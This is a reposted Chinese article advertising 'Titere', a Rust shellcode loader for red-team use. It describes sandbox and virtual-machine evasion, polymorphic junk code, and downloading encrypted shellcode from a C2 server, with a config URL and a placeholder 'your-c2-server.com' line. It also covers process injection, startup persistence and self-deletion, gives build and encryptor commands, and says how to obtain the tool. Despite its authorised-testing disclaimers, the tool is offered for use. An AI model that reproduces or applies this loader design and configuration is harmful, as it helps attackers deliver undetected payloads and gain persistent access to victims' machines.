文章总结: Titere是一款基于Rust开发的高级Shellcode加载器,专为红队渗透测试设计。该工具集成沙箱对抗(运行时间检测、虚拟机识别)、行为伪装(延迟执行、多态代码)、多种进程注入技术和自清理功能,支持通过config.toml配置C2通信与加密方式。文档提供完整编译指南、配置示例及免责声明,强调仅限授权测试使用。 综合评分: 82 文章分类: 红队,渗透测试,恶意软件,安全工具,内网渗透
高级Shellcode加载器——高级红队渗透测试与安全研究工具
W小哥
2026年1月2日 19:18 中国台湾
在小说阅读器读本章
去阅读
以下文章来源于木吉他的鱼 ,作者9Insomnie
木吉他的鱼 .
承接大衣哥演出活动:开业、庆典、婚庆、文旅 签署商演合同
Titere – 高级Shellcode加载器
一个集成了多种高级反检测技术的 Rust Shellcode 加载器,专为红队渗透测试设计。
🎯 核心功能
主程序 (src/main.rs) – Shellcode加载器
-
沙箱对抗
:运行时间检测、用户交互检测、环境特征检测、进程检测、资源检测、虚拟机检测
-
行为伪装
:延迟执行、正常文件访问、多态垃圾代码、假解密操作
-
Shellcode加载
:远程下载、AES-GCM/XOR解密、多种进程注入技术
-
自清理
:执行后自删除、痕迹清理
-
持久化
:支持启动项持久化
-
配置系统
:通过config.toml灵活配置所有功能
加密工具 (encrypt_project/src/main.rs) – Shellcode加密器
-
Shellcode处理
:自动检测.bin文件或指定输入文件
-
多种加密
:支持AES-GCM和XOR加密
-
命令行界面
:灵活的参数配置
🛠️ 技术架构
Shellcode加载流程
- 配置加载
- 从config.toml加载配置参数
- 沙箱检测
- 确保在真实环境中执行
- 持久化创建
- 根据配置决定是否创建持久化
- 行为伪装
- 混淆真实意图
- 远程获取Shellcode
- 从C2服务器下载加密数据
- 解密Shellcode
- 使用AES-GCM或XOR解密
- 进程注入执行
- 使用多种技术注入目标进程并执行
- 自清理
- 根据配置决定是否自删除
沙箱检测技术
- 系统运行时间检测(可配置阈值)
- 用户交互检测(可配置阈值)
- 环境特征检测(用户名、主机名)
- 沙箱进程检测(扩展的进程列表)
- 系统资源检测(内存、磁盘空间、CPU核心数)
- 虚拟机注册表检测
进程注入技术
- 标准CreateRemoteThread注入
- 分段写入内存注入
- 垃圾数据覆盖注入
🚀 快速开始
环境要求
- Windows 操作系统
- Rust 开发环境
编译安装
# 克隆项目git clone https://github.com/9Insomnie/TitereV1.0.gitcd Titere# 编译主程序cargo build --release# 编译加密工具cd encrypt_project cargo build --release
配置文件
项目根目录下的config.toml文件用于配置程序行为:
# 服务器配置[server]url = "https://example.com/payload"# C2服务器URLtimeout = 30# 连接超时(秒)retries = 3# 重试次数# 加密配置[encryption]key = "1A2B3C4D5E6F7A8B"# 加密密钥algorithm = "aes-gcm"# 加密算法: "aes-gcm" 或 "xor"# 沙箱检测配置[sandbox_detection]enabled = true# 是否启用沙箱检测# 其他沙箱检测相关配置...
加密工具使用
# 基本用法./encrypt_project -i shellcode.bin -o output.bin -k 自定义密钥 -a aes-gcm# 参数说明-i, --input 输入文件路径 -o, --output 输出文件路径(默认:output.bin) -k, --key 加密密钥(默认:1A2B3C4D5E6F7A8B) -a, --algorithm 加密算法:aes-gcm 或 xor(默认:aes-gcm)
⚠️ 免责声明
本工具仅用于授权的安全测试和教育目的。使用本工具进行未授权的测试或攻击行为是违法的。使用者需要对自己的行为负全部责任。开发者不对任何滥用或非法使用本工具的行为负责。
使用方法
Shellcode加载器
# 直接运行cargo run# 或运行编译后的可执行文件./target/release/loader.exe
Shellcode加密器
cd encrypt_project cargo run
🔧 配置说明
C2服务器配置
修改 src/main.rs 中的C2服务器地址:
let url = "http://your-c2-server.com:port/output.bin";
加密密钥
默认XOR密钥:[0x1A, 0x2B, 0x3C, 0x4D, 0x5E, 0x6F, 0x7A, 0x8B]
🎯 红队使用场景
-
初始访问
:绕过沙箱检测,加载初始shellcode
-
权限提升
:注入高权限进程,执行提权shellcode
-
横向移动
:远程代码执行,进程间shellcode传播
-
持久化
:隐蔽shellcode加载,维持访问
📊 技术细节
多态代码技术
- 模拟数学计算
- 模拟字符串处理
- 模拟数组操作
- 模拟时间获取
自删除技术
- 延迟3秒后删除自身文件
- 使用cmd命令执行删除操作
关注公众号回复“20260102”获取工具地址。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:W小哥 《高级Shellcode加载器——高级红队渗透测试与安全研究工具》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论